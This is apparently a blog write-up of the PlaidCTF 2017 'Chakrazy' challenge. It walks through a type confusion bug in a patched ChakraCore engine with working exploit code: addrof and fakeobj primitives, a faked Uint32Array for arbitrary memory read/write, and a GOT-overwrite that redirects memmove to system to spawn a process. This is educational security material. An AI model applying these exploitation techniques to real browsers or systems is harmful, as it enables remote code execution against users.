Chakrazy -- exploiting type confusion bug in ChakraCore engine

Introduction

Chakrazy is a browser CTF challenge created by team PPP for the 2017 PlaidCTF event. It’s a challenge based on Microsoft’s ChakraCore Javascript engine. You can download the challenge file here.

Similar to my previous post, this post is more like a note about how I learn to exploit the type confusion vulnerability in the ChakraCore engine.

Pre-knowledge

It is recommanded that the reader have some basic knowledge about the type confusion bug and the internal data structures of the ChakraCore engine. Here are some slides from the 360Vulscan team and Natalie@Google Project Zero.

Environment Setting

Building and Debugging the ChakraCore engine

Building the ChakraCore engine is simple, just follow the instructions in the wiki page.

For a Debug build:

1
2
3
4
cd ChakraCore
git reset --hard dd33b4ceaf4b38b44d279d13988ecbd31df46ed2
patch -p1 < ../change.diff # apply the patch
./build.sh --debug

Later we’ll find the binaries in the out/Debug directory. If you want a Release build with debug symbols, you’ll have to modified the CMakeLists.txt:

1
2
3
4
5
6
7
8
9
# At line 355

if(NOT CMAKE_BUILD_TYPE STREQUAL Debug)
- add_compile_options(-O3)
+ add_compile_options(-O0)
+ add_compile_options(-finstrument-functions)
+ add_compile_options(-g)
+ add_compile_options(-ggdb)
else()

I modified the optimization flag to O0 because the O3 flag will optimized out the function parameter and causes some inconvenience during the debug process.

Here I chose to build the Release build with debug symbols, since it’s behavior is more close to the challenge binary ( which is a Release build with the O3 optimization flag ). Later we can just use

1
gef --args exploit.js

to debug the binary.

Analyzing the Vulnerability ( the patch )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
- if (!JavascriptNativeIntArray::Is(pDestArray))
- {
- ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
- return pDestArray;
- }
-
if(!spreadableCheckedAndTrue)
{
pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);

The code is in the JavascriptArray::ConcatIntArgs function, where pDestArray‘s data type is “suppose” to be JavascriptNativeIntArray.

Here it removed the code that does the type checking of pDestArray. There’s no need to do the type checking right ? Since pDestArray will always be JavascriptNativeIntArray isn’t it ? Well……

Analyzing the Exploit

We now start analyzing the challenge exploit code ( written by eboda ) and see how the exploit works. We’ll focus on the addrof and the fakeobj functions, since it’s the most important part of the entire exploit.

addrof

The addrof function is used for leaking an object’s memory address. The most important part are the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var cons = new Function();
cons[Symbol.species] = function() {
qq = []; // here qq is just a JavascriptNativeIntArray
return qq;
}

// using the species contructor allows us to get a handle on the result array
// of functions such as map() or concat()
a.constructor = cons;

// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};

Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

// trigger the vulnerability
var c = a.concat(b);

When the line var c = a.concat(b); was executed, it will first call ArraySpeciesCreate(), which in this case will return a JavascriptNativeIntArray ( line 2~9 ). Then it will goto line 3497 and call ConcatIntArgs(), our vulnerability function.

There’s a for loop inside the ConcatIntArgs() functions:

1
2
3
4
5
6
7
8
9
10
for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
{
Var aItem = args[idxArg];
bool spreadableCheckedAndTrue = false;

if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;

if(!spreadableCheckedAndTrue)

Here the args stores the array that will be concatenated to pDestArray. For instance:

1
2
3
4
var c = a.concat(b);
// here pDestArray = c
// args[0] = a
// args[1] = b

According to the comments of the exploit:

1
2
3
4
5
6
7
8
9
10
// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of qq by simply assigning an object to it
fakeProp = { get: function() {
b[1] = obj;
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};

// set b's Symbol.isConcatSpreadable to fakeProp
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

So when aItem = b and ran to line JavascriptOperators::IsConcatSpreadable(aItem), it will change pDestArray‘s data type from JavascriptNativeIntArray to JavascriptArray. It’ll also change b‘s data type into JavascriptArray, so later it can run to line JavascriptNativeIntArray::ConvertToVarArray(pDestArray);.

We can see that JavascriptNativeIntArray::ConvertToVarArray‘s first parameter is a JavascriptNativeIntArray data type. But here we pass a JavascriptArray data type variable instead, which leads to a type confusion vulnerability.

When ConvertToVarArray(pDestArray) was called, the pDestArray has the following memory layout:

1
2
3
4
5
6
7
8
9
10
11
gef➤  tel 0x00007ffff03d8320
0x00007ffff03d8320│+0x00: 0x0000000300000000
0x00007ffff03d8328│+0x08: 0x0000000000000011
0x00007ffff03d8330│+0x10: 0x0000000000000000
0x00007ffff03d8338│+0x18: 0x00007ffff03d8140 <-- dest[0]
0x00007ffff03d8340│+0x20: 0x0001000000000001 <-- dest[1]
0x00007ffff03d8348│+0x28: 0x0001000000000002 <-- dest[2]
0x00007ffff03d8350│+0x30: 0x8000000280000002
0x00007ffff03d8358│+0x38: 0x8000000280000002
0x00007ffff03d8360│+0x40: 0x8000000280000002
0x00007ffff03d8368│+0x48: 0x8000000280000002

Here dest[0] stores the object’s address. Since the function “think” that pDestArray is a JavscriptNativeIntArray, it will take first three elements ( 0xf03d8140, 0x7ffff and 0x1 ) and convert them into the form of the JavascriptArray elements. After the conversion the memory layout will become something like:

1
2
3
4
5
6
7
gef➤  tel 0x00007ffff03d83c0
0x00007ffff03d83c0│+0x00: 0x0000000300000000
0x00007ffff03d83c8│+0x08: 0x0000000000000011
0x00007ffff03d83d0│+0x10: 0x0000000000000000
0x00007ffff03d83d8│+0x18: 0x00010000f03d8140 <-- dest[0] ( dest = c array )
0x00007ffff03d83e0│+0x20: 0x0001000000007fff <-- dest[1]
0x00007ffff03d83e8│+0x28: 0x0001000000000001 <-- dest[2]

Note that dest[0] and dest[1] now stores the value of the object’s address ( lower part and upper part ), thus we can leak the object’s memory address by combining c[0] & c[1].

fakeobj

The goal of fakeobj is to fake a Javascript object at an arbitrary address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var a1 = [];
for (var i = 0; i < 0x100; i++) {
a1[i] = i;
}

var a2 = [lower(addr), upper(addr)]; // addr = arbitrary address


var c = new Function();
c[Symbol.species] = function() {
new_array = [];
return new_array;
};
a1.constructor = c;

a2.__defineGetter__(Symbol.isConcatSpreadable, function () {
new_array[0] = {};
return true;
});

var res = a1.concat(a2);
return res[0x100/2]; // res[128] = an object @ addr

Here when var res = a1.concat(a2); was executed, the ChakraCore engine will ran to line 3176:

1
bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);

Here pDestArray is “suppose” to be a JavscriptNativeIntAarray, but again, we pass the argument as a JavascriptArray data type instead, causing the type confusion vulnerability.

Later the lower part and the upper part of the address ( a2[0] & a2[1] ) will be appended into pDestArray ( in the form of int32 ). The memory layout of res array will become:

1
2
3
4
.......................
0x00007ffff02d8408│+0x10: 0x000100000000007e <-- res[126]
0x00007ffff02d8410│+0x18: 0x000100000000007f <-- res[127]
0x00007ffff02d8418│+0x20: 0x00007ffff03d84f0 <-- res[128]

Due to type confusion, now res will be treated as JavascriptArray and think that res[128] is an object ( which its address = 0x00007ffff03d84f0 ). By returning res[128] we now have the fake object’s handle.

arbitrary read/write primitive

The exploit code first fake an Uint32Array object, then modify its data buffer’s pointer to obtain the arbitrary read/write primitive. To fake an Uint32Array object, it will need:

  • Address of Uint32Array‘s vtable.
  • A pointer point to 0x30 ( Uint32Array‘s type id. Check this link for more information )
  • A fake size
  • An ArrayBuffer‘s address
  • A fake data buffer pointer

From the exploit code we can see it use Array to fake those data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...................
var real = new Array(16);
var real_addr = addrof(real);

// fake vtable pointer
real[0] = lower(uint_vtable);
real[1] = upper(uint_vtable);

// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);

// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;

// fake size
real[8] = 0x1000;
real[9] = 0;

// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);

// dont care
real[12] = 0;
real[13] = 0;

As for read/write primitive, it first assign the address in real[14] & real[15] to modify the data buffer’s pointer, then use fakeobj to obtain the handle of the fake Uint32Array object:

1
2
3
4
5
6
7
8
9
10
11
12
13
// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58), // return fake object
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);

// Now get a handle to the fake object!
return memory.handle;
},

Later it can just use the fake object handle to read/write the memory content.

getting shell

Here I modified the exploit code and use the same exploit method as the feuerfuchs challenge to get the shell:

  1. Leak the base address of libChakraCore.so
  2. Get the base address of libc.so by leaking write@got.plt
  3. Overwrite memmove@got.plt to system
  4. Execute system([cmd]) by calling Uint8Array.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function pwn() {

// exploit the bug and create our arbitrary r/w primitive
var mem = gimme_rw();

// get the base of libChakraCore.so
var base = get_base(mem);
console.log("[+] base @ " + base.toString(16));

// the following offets are hardcoded
var memmove_got = base + 0xd9b0f0;
console.log("[+] memmove_got @ " + memmove_got.toString(16));
var write_got = base + 0xd9b780;
console.log("[+] write_got @ " + write_got.toString(16));
var write_addr = mem.read64(write_got);
console.log("[+] write_addr @ " + write_addr.toString(16));
var system = write_addr - 0xe3a100;
console.log("[+] system @ " + system.toString(16));

// now set up our command
var cmd = "/usr/bin/xcalc\0";

// write the command into a Uint8Array
var target = new Uint8Array(0x1234);
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}

// overwrite memmove with system
mem.write32(memmove_got, lower(system));
mem.write32(memmove_got+4, upper(system));

// GIMME SHELL NOW
var bb = new Uint8Array(10);
target.set(bb);
}

The original exploit code overwrites two GOT entries ( memmove & memset ) and tries to call execve("/bin/sh", argv, envp), which is more complicated ( but more stable, since it doesn’t need to know the version of libc.so ). Here I choose a more simple way to achieve RCE.

Summary

The patch removed the code that does the type checking inside the JavascriptArray::ConcatIntArgs() function. This make us able to tamper the data type of pDestArray by defining the property of Symbol.isConcatSpreadable.

Here we modify pDestArray‘s data type from JavascriptNativeIntArray to JavascriptArray and trigger the type confusion bug. We can later exploit the bug to:

  1. Leak an object’s address
  2. Fake an object at an arbitrary address

To obtain the arbitrary read/write primitive, we fake an Uint32Array object, modify its data buffer’s pointer and obtain its object handle. Later we can use this handle to read/write memory content. We then leak the address of libChakraCore.so and libc.so, calculate system‘s address and overwrite memmove‘s GOT to do the GOT hijacking & achieve RCE.

Epilogue

Learn a lot from this one. Type confusion bugs are very common vulnerabilities in the real-world softwares, and this challenge is a great example of how it will affect the security of the modern browsers.

Next stop: V9 !

Reference